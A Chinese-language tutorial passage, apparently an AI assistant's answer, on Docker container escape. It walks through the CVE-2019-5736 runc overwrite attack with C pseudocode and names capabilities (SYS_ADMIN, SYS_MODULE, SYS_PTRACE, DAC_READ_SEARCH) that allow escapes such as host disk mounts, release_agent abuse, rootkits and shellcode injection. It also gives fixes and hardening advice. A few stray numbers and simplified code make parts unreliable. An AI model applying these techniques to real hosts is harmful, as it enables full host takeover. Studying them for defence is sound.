/proc/[PID]/exe,我就能找到启动这个进程的原始文件。如果我有写权限,我甚至可以通过这个链接修改那个硬盘上的原始文件。
-
2. /usr/bin/runc:容器的"发动机"
-
是什么?
-
runc是一个轻量级的命令行工具,它是 Linux 容器的实际运行时的核心(OCI Runtime)。 -
Docker 并不是直接跑容器的 ,Docker 只是一个管理器。真正的脏活累活(创建 Namespace、配置 Cgroup、启动进程)都是由
runc干的。
-
-
调用链:
- 你输入
docker run-> Docker Daemon -> containerd ->runc-> 你的容器进程。
- 你输入
-
特性:
-
runc是一个宿主机上的二进制文件。 -
每当你启动一个容器,或者执行
docker exec进入容器时,宿主机上就会运行一次runc程序。
-
3. CVE-2019-5736:利用 runC 漏洞实现逃逸
这个漏洞的本质是:攻击者在容器内部,利用 /proc/self/exe 这个"镜子",反向握住了宿主机上 runc 这把"枪",然后把枪管(二进制文件)给换成了恶意代码。
逃逸前提条件
-
容器内有 Root 权限:攻击者控制了容器内部的 Root 用户。
-
管理员配合 :攻击者需要等待宿主机的管理员对这个恶意容器执行
docker exec命令(比如管理员觉得容器异常,想进去看看)。
详细攻击流程 (Attack Flow)
第一步:设置陷阱 (The Trap)
攻击者修改容器内的 /bin/sh(或者管理员常用的 bash),将其替换为一个恶意脚本(通常是编译好的 C 程序)。并把这个恶意程序的入口指向 /proc/self/exe。
第二步:愿者上钩 (The Trigger)
毫不知情的管理员在宿主机执行命令:
docker exec -it <container_id> /bin/sh
此时发生了什么?
-
宿主机启动
/usr/bin/runc。 -
runc进入容器的命名空间。 -
runc试图在容器内执行/bin/sh。
第三步:偷天换日 (The Overwrite)
由于 /bin/sh 已经被攻击者替换了,runc 实际上执行了恶意程序。
关键时刻到了:
-
在这个瞬间,
runc进程(宿主机进程)正在运行这个恶意代码。 -
恶意代码读取
/proc/self/exe。- 因为这行代码是由
runc启动并初始化的,在特定的时间窗口内,/proc/self/exe指向的正是宿主机上的/usr/bin/runc文件!
- 因为这行代码是由
-
恶意代码利用文件描述符(File Descriptor),强行以写模式打开
/proc/self/exe。 -
恶意代码将自己的 Payload(比如反弹 Shell 或者是植入木马)覆盖写入 到宿主机的
/usr/bin/runc文件中。
第四步:全面沦陷 (Game Over)
现在,宿主机的 /usr/bin/runc 已经被替换成了病毒。
虽然当前的容器可能没啥变化,但当下一次任何人(包括其他正常的管理员)在宿主机上使用 docker run 或 docker exec 时:
-
系统调用的不再是正常的容器引擎,而是攻击者的恶意程序。
-
该程序以 宿主机 Root 权限运行。
-
攻击者获得宿主机的完全控制权。
4. 漏洞复现核心代码逻辑 (伪代码教学)
为了让您理解原理,这是攻击代码的核心逻辑(C语言):
// 1. 打开 /proc/self/exe,实际上拿到的是宿主机 runc 的句柄
int fd = open("/proc/self/exe", O_RDONLY | O_PATH);
// 2. 尝试以写模式重新打开这个句柄
// 这一步利用了 runc 退出时的竞争条件
int write_fd = openat(fd, "", O_WRONLY | O_TRUNC);
// 3. 将恶意代码写入宿主机的 runc
write(write_fd, malicious_shellcode, len);
下面我为您拆解这两组核心标志(Flag)的含义:
1. 第一组:
O_RDONLY | O_PATH一句话解释:"给我一个只读的、但不真正打开文件内容的'占位符'(句柄)。"
O_RDONLY(Read Only):
- 这是最基础的标志,表示以 只读 模式打开。
O_PATH(Path Only):
这是核心黑魔法 。它的意思是:"我只需要获取这个文件在文件系统中的'位置引用'(文件描述符),但我不要读取它的内容。"
作用:
绕过检查 :当我们打开一个文件时,系统通常会检查权限、检查文件是否被锁定等。使用
O_PATH可以绕过大部分这类检查。它就像是拿到了文件的"门牌号",但还没有进屋。防止触发"忙"锁 :在漏洞利用中,
/proc/self/exe指向的是正在运行的runc。如果直接打开它,系统会报错"文件忙 (Text file busy)"。用O_PATH就能先悄悄拿到它的句柄,而不惊动内核的文件锁机制。2. 第二组:
O_WRONLY | O_TRUNC一句话解释:"给我开写权限,并且把原文件清空(删光),我要重写它。"
O_WRONLY(Write Only):
- 表示以 只写 模式打开。
O_TRUNC(Truncate):
截断 。意思是:"如果这个文件里原来有内容,把它全部清空(长度变为 0)。"
作用 :这是为了完全替换 。黑客不想把恶意代码"追加"到原程序后面,而是想把原程序(
runc)彻底删掉,换成自己的恶意代码。如果不加这个标志,写入的内容可能会和原文件内容混在一起,导致程序损坏无法运行。这段代码展示了一个利用 "时间差竞争 (Race Condition)" 的精妙连招:
第一步 (
O_RDONLY | O_PATH):潜伏
fd = open("/proc/self/exe", O_RDONLY | O_PATH);黑客:"先帮我拿个号(fd),占个位。我先不进去,别让保安(内核锁)发现。"
此时,黑客手里拿到了指向宿主机
runc文件的句柄fd。中间过程(代码没写出来的部分)
- 黑客拿着这个
fd等待。等到宿主机的runc程序执行完毕退出的那一瞬间(此时文件锁释放了,但黑客手里的fd依然有效)。第二步 (
O_WRONLY | O_TRUNC):偷袭
write_fd = openat(fd, "", O_WRONLY | O_TRUNC);黑客:"趁现在没人用(锁释放了),快!通过刚才那个号(fd),把门彻底打开!要把里面的东西全清空(TRUNC),我要往里塞新东西(WRONLY)!"
注意这里的
openat(fd, "", ...)是个特有用法,意思是"重新打开fd指向的那个文件"。总结:
O_PATH是为了偷偷拿到句柄。
O_TRUNC是为了彻底销毁证据并替换。这套组合拳就是为了绕过 Linux 对"正在运行的程序不允许被修改"的保护机制。
5. 防御与总结
-
漏洞本质 :容器内的进程通过
/proc/self/exe居然能摸到宿主机上runc二进制文件的写权限,这是设计上的疏忽。 -
修复 :Docker 和 runC 社区修复了这个漏洞(升级到
runc 1.0-rc6+)。修复方案是:runc在进入容器前,先把自己克隆一份到内存里(memfd),运行内存里的克隆版。这样即使攻击者修改了/proc/self/exe,改的也是内存里的临时文件,改不掉硬盘上的真身。 -
教训:
-
及时升级 Docker 版本。
-
尽量不要以 Root 用户运行容器内进程(User Remapping)。
-
不要随意
docker exec进入陌生的、不受信任的容器。
-
17. 认识Effective Capabilities
CapEff (Effective Capabilities) 这个 16 进制数字,就是当前容器手里真正握着的**"权力清单"**。只有读懂了它,你才知道你到底是"被拔了牙的老虎"(安全容器)还是"披着羊皮的狼"(特权/危险容器)。
我来为您深度拆解这个清单,并划出**"高危红线"**。
第一部分:如何"翻译"这个 16 进制数字?
**cat /proc/self/status | grep CapEff**输出的通常是一串 64 位的 16 进制掩码,例如:
-
普通 Docker 容器 :
00000000a80425fb -
特权容器 (
--privileged) :0000003fffffffff(几乎全开)
解码方法
这个数字的每一位(Bit)代表一种能力。
-
Bit 0 =
CAP_CHOWN -
Bit 1 =
CAP_DAC_OVERRIDE -
...
-
Bit 21 =
CAP_SYS_ADMIN(核弹级)
您可以使用 Linux 自带的 capsh 工具进行翻译:
capsh --decode=00000000a80425fb
输出示例(解码后):
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
实战解码工具(如果没有安装 capsh,用 Python 解码):
在你的 AI Earth 环境里执行这段 Python 代码,它会把那个神秘的数字直接翻译成人话:
import sys
# 这是一个标准的 Linux Capabilities 映射表
CAPS = {
0: "CAP_CHOWN",
1: "CAP_DAC_OVERRIDE",
2: "CAP_DAC_READ_SEARCH",
3: "CAP_FOWNER",
4: "CAP_FSETID",
5: "CAP_KILL",
6: "CAP_SETGID",
7: "CAP_SETUID",
8: "CAP_SETPCAP",
9: "CAP_LINUX_IMMUTABLE",
10: "CAP_NET_BIND_SERVICE",
11: "CAP_NET_BROADCAST",
12: "CAP_NET_ADMIN",
13: "CAP_NET_RAW",
14: "CAP_IPC_LOCK",
15: "CAP_IPC_OWNER",
16: "CAP_SYS_MODULE",
17: "CAP_SYS_RAWIO",
18: "CAP_SYS_CHROOT",
19: "CAP_SYS_PTRACE",
20: "CAP_SYS_PACCT",
21: "CAP_SYS_ADMIN",
22: "CAP_SYS_BOOT",
23: "CAP_SYS_NICE",
24: "CAP_SYS_RESOURCE",
25: "CAP_SYS_TIME",
26: "CAP_SYS_TTY_CONFIG",
27: "CAP_MKNOD",
28: "CAP_LEASE",
29: "CAP_AUDIT_WRITE",
30: "CAP_AUDIT_CONTROL",
31: "CAP_SETFCAP",
32: "CAP_MAC_OVERRIDE",
33: "CAP_MAC_ADMIN",
34: "CAP_SYSLOG",
35: "CAP_WAKE_ALARM",
36: "CAP_BLOCK_SUSPEND",
37: "CAP_AUDIT_READ",
}
def decode_caps(hex_str):
caps_int = int(hex_str, 16)
print(f"解析 Capabilities: {hex_str}")
print("-" * 30)
for bit, name in CAPS.items():
if caps_int & (1 << bit):
print(f"[✅] {name} (Bit {bit})")
# 将你的 CapEff 值填在这里,例如 '00000000a80425fb'
# decode_caps('00000000a80425fb')
if len(sys.argv) > 1:
decode_caps(sys.argv[1])
else:
print("请提供 CapEff 值,例如: python3 cap.py 00000000a80425fb")
第二部分:Capabilities 分类与作用
Linux 将 Root 的权力切分成了约 40 块。我将它们分为 "为了活着(基础类)" 和 "为了搞事(危险类)"。
1. 基础类(容器正常运行通常需要的)
这些权限通常默认开启,很难直接用于逃逸。
-
CAP_CHOWN: 允许修改文件所有者(chown 命令)。 -
CAP_DAC_OVERRIDE: 忽略文件的读/写/执行权限检查(Root 读任何文件)。 -
CAP_FOWNER: 忽略文件属主检查。 -
CAP_SETUID/CAP_SETGID: 允许改变进程的用户 ID(su 命令)。 -
CAP_KILL: 允许杀死进程。 -
CAP_NET_BIND_SERVICE: 允许绑定低端口(如 80, 443)。
2. 进阶类(网络与审计)
-
CAP_NET_RAW: 允许使用原始套接字(Ping, tcpdump)。 -
CAP_AUDIT_WRITE: 允许写入内核审计日志。
第三部分:【重点】哪些 Capabilities 能被用于容器逃逸?
如果你的 Python 脚本跑出来发现了下面这些红色的 Capabilities,这代表高度危险,通常是逃逸的跳板。
⚠️ 1. CAP_SYS_ADMIN (万恶之源)
-
绰号:God Mode (上帝模式)。
-
作用:Linux 内核还没想好怎么分类的特权操作,全丢在这里了。包括挂载文件系统、管理 Swap、管理 Cgroups、管理 IPC 等。
-
逃逸手段:
-
挂载磁盘 :直接
mount /dev/sda1 /mnt,修改宿主机文件(写 SSH Key, Crontab)。 -
Cgroup 逃逸 :利用
release_agent执行宿主机命令。 -
Core Pattern :修改
/proc/sys/kernel/core_pattern。
-
⚠️ 2. CAP_SYS_MODULE (内核注入)
-
作用:允许加载和卸载内核模块(Load Kernel Modules)。
-
逃逸手段:
- Rootkit :编写一个恶意内核模块 (
.ko文件),insmod加载进去。这个模块运行在内核态,可以直接反弹 Shell,完全无视容器隔离。
- Rootkit :编写一个恶意内核模块 (
⚠️ 3. CAP_SYS_PTRACE (灵魂附体)
-
作用 :允许使用
ptrace()系统调用调试其他进程。 -
逃逸手段:
- 进程注入 :配合
--pid=host,直接126 Attach 到宿主机的systemd或dockerd进程上,注入 Shell Code。
- 进程注入 :配合
⚠️ 4. CAP_DAC_READ_SEARCH (超级透视眼)
-
作用 :绕过文件读权限检查和目录执行权限检查。允许使用
open_by_handle_at系统调用。 -
逃逸手段:
- Shocker 攻击 :如果宿主机上的某些文件句柄泄漏到了容器内,攻击者可以利用这个权限,通过暴力破解文件句柄,反向通过路径漫游(Path Traversal)读取宿主机上的任意文件(包括
/etc/shadow)。
- Shocker 攻击 :如果宿主机上的某些文件句柄泄漏到了容器内,攻击者可以利用这个权限,通过暴力破解文件句柄,反向通过路径漫游(Path Traversal)读取宿主机上的任意文件(包括
⚠️ 5. CAP_SYS_RAWIO (硬件直通)
-
作用 :允许对 I/O 端口进行直接操作(修改
/dev/mem)。 -
逃逸手段:
- 直接修改内存或向硬件设备发送指令,可能导致内核崩溃或覆盖关键数据。
⚠️ 6. CAP_SYS_BOOT (拒绝服务)
-
作用 :允许使用
reboot系统199调用。 -
逃逸手段:
- 虽然不能拿 Shell,但可以直接让宿主机重启,造成 DoS (拒绝服务攻击)。
第四部分:教你如何快速判断环境安全性
当你执行 cat /proc/self/status | grep CapEff 后:
-
看最后一位:
-
如果是
...fb(例如a80425fb):这通常是 Docker 的默认安全配置 。去掉了SYS_ADMIN等高危权限。相对安全。 -
如果是
...ff(例如3fffffffff):这通常是 特权模式 (--privileged) 。极度危险,大概率能逃逸。
-
-
用 Python 脚本检查有没有
CAP_SYS_ADMIN:- 这是最重要的指标。只要有它,这就不是个容器,这只是个穿了马甲的虚拟机。
总结:
Capabilities 是容器逃逸的"武器库"。
-
SYS_ADMIN是核弹。 -
SYS_MODULE是毒药。 -
SYS_PTRACE是提线木偶。 -
而
CHOWN,NET_BIND_SERVICE这些只是切菜刀,用来干正事的。